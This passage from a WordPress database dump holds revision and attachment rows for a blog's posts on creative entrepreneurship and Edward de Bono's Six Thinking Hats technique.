to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-31', '', '', '2009-09-21 15:16:37', '2009-09-21 22:16:37', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-31/', 0, 'revision', '', 0),
(666, 2, '2009-09-21 15:13:44', '2009-09-21 22:13:44', '', 'ideas', 0, '', 'inherit', 'open', 'open', '', 'ideas-4', '', '', '2009-09-21 15:13:44', '2009-09-21 22:13:44', '', 632, 'http://www.whitehotcenter.com/wp-content/uploads/2009/09/ideas3.gif', 0, 'attachment', 'image/gif', 0),
(667, 2, '2009-09-21 15:16:07', '2009-09-21 22:16:07', '', 'ideas', 0, '', 'inherit', 'open', 'open', '', 'ideas-5', '', '', '2009-09-21 15:16:07', '2009-09-21 22:16:07', '', 632, 'http://www.whitehotcenter.com/wp-content/uploads/2009/09/ideas4.gif', 0, 'attachment', 'image/gif', 0),
(668, 2, '2009-09-21 15:12:51', '2009-09-21 22:12:51', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas2.gif"><img class="size-medium wp-image-660 alignnone" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas2-252x300.gif" alt="ideas" width="252" height="300" /></a><span style="color: #ff6600;"> </span><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong> </strong>\r\n\r\n<strong>Collaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-30', '', '', '2009-09-21 15:12:51', '2009-09-21 22:12:51', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-30/', 0, 'revision', '', 0),
(670, 2, '2009-09-21 15:17:28', '2009-09-21 22:17:28', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif"><img class="alignnone size-full wp-image-667" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;">\r\nOne of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong> </strong>\r\n\r\n<strong>Collaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-32', '', '', '2009-09-21 15:17:28', '2009-09-21 22:17:28', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-32/', 0, 'revision', '', 0),
(672, 2, '2009-09-21 15:20:23', '2009-09-21 22:20:23', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif"><img class="alignnone size-full wp-image-667" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business.\r\nFor many, that term may seem a little vague and ambiguous. In this post I’ll explain what\r\nI mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong> </strong>\r\n\r\n<strong>Collaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-34', '', '', '2009-09-21 15:20:23', '2009-09-21 22:20:23', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-34/', 0, 'revision', '', 0);
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(673, 2, '2010-02-18 18:17:06', '2010-02-19 01:17:06', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="412" height="228" /></a><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities to grow your business from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. </span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">For those who may not know, Edward de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill</span>.</span> I use the Thinking Hats technique at PULL. It ''s a useful tool to open us up when we are seeking to validate ideas with our clients. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a problem solving session with yourself or with a group of masterminds, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that will follow. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\n<strong>Try this technique out. We have a good deal of fun every time we use it. Share your results with us here.\r\n</strong>', 'Six Thinking Hats', 0, '', 'publish', 'open', 'open', '', 'six-thinking-hats', '', '', '2010-12-27 16:23:41', '2010-12-27 23:23:41', '', 0, 'http://www.whitehotcenter.com/?p=673', 0, 'post', '', 0),
(674, 2, '2010-02-18 18:06:54', '2010-02-19 01:06:54', '', 'sixhats', 0, '', 'inherit', 'open', 'open', '', 'sixhats', '', '', '2010-02-18 18:06:54', '2010-02-19 01:06:54', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2010/02/sixhats.gif', 0, 'attachment', 'image/gif', 0),
(675, 2, '2010-02-18 18:07:27', '2010-02-19 01:07:27', '<a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="516" height="285" /></a>', 'Six Thinking hats', 0, '', 'inherit', 'open', 'open', '', '673-revision', '', '', '2010-02-18 18:07:27', '2010-02-19 01:07:27', '', 673, 'http://www.whitehotcenter.com/2010/02/18/673-revision/', 0, 'revision', '', 0),
(676, 2, '2010-02-18 18:08:10', '2010-02-19 01:08:10', '<a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="516" height="285" /></a>\r\n<h2><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill.</span></h2>\r\nWe use the Thinking Hats technique in our group creative sessions when we are seeking to validate ideas. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a group problem solving session, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that follows. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\nTry this technique out. We have a good deal of fun every time we use it.', 'Six Thinking hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-2', '', '', '2010-02-18 18:08:10', '2010-02-19 01:08:10', '', 673, 'http://www.whitehotcenter.com/2010/02/18/673-revision-2/', 0, 'revision', '', 0),
(677, 2, '2010-02-18 18:08:22', '2010-02-19 01:08:22', '<a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="516" height="285" /></a>\r\n<h2><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill.</span></h2>\r\nWe use the Thinking Hats technique in our group creative sessions when we are seeking to validate ideas. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a group problem solving session, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that follows. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\nTry this technique out. We have a good deal of fun every time we use it.', 'Six Thinking hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-3', '', '', '2010-02-18 18:08:22', '2010-02-19 01:08:22', '', 673, 'http://www.whitehotcenter.com/2010/02/18/673-revision-3/', 0, 'revision', '', 0),
(678, 2, '2010-02-18 18:09:10', '2010-02-19 01:09:10', '<a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="504" height="279" /></a>\r\n<h2><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill.</span></h2>\r\nWe use the Thinking Hats technique in our group creative sessions when we are seeking to validate ideas. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a group problem solving session, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that follows. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn 